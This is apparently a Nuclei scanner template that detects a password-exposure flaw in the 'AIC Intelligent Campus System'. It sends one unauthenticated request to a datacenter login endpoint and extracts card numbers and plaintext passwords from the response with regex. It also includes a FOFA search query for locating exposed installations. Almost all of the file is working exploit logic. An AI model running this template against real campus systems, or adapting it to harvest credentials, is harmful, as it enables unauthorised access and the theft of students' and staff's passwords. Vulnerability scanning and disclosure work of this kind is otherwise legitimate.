id: aic-intelligent-password-exposure

info:
  name: AIC Intelligent Campus System - Password Exposure
  author: SleepingBag945
  severity: medium
  description: |
    Due to the design logic defects, the super password is leaked, which can kill more than 40 campus systems.<br>
  metadata:
    max-request: 1
    fofa-query: title="AIC智能校园系统"
  tags: aic,exposure,password

http:
  - method: GET
    path:
      - "{{BaseURL}}/datacenter/dataOrigin.ashx?c=login"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 && contains(body_1,"卡号\":\"") && contains(body_1,"密码\":\"")'
        condition: and

    extractors:
      - type: regex
        name: username
        part: body
        group: 1
        regex:
          - "\"卡号\":\"(.*?)\""

      - type: regex
        name: passwd
        part: body
        group: 1
        regex:
          - "\"密码\":\"(.*?)\""
# digest: 490a00463044022028595b0cb280a0affd336a6be7eb1bc459a57352094d2485c7a1b27e9a4b9f6e022011a43271b33e87fc036e8386e3254fdbd809c5616dfc6d5d402fba0b3fb11262:922c64590222798bb761d5b6d8e72950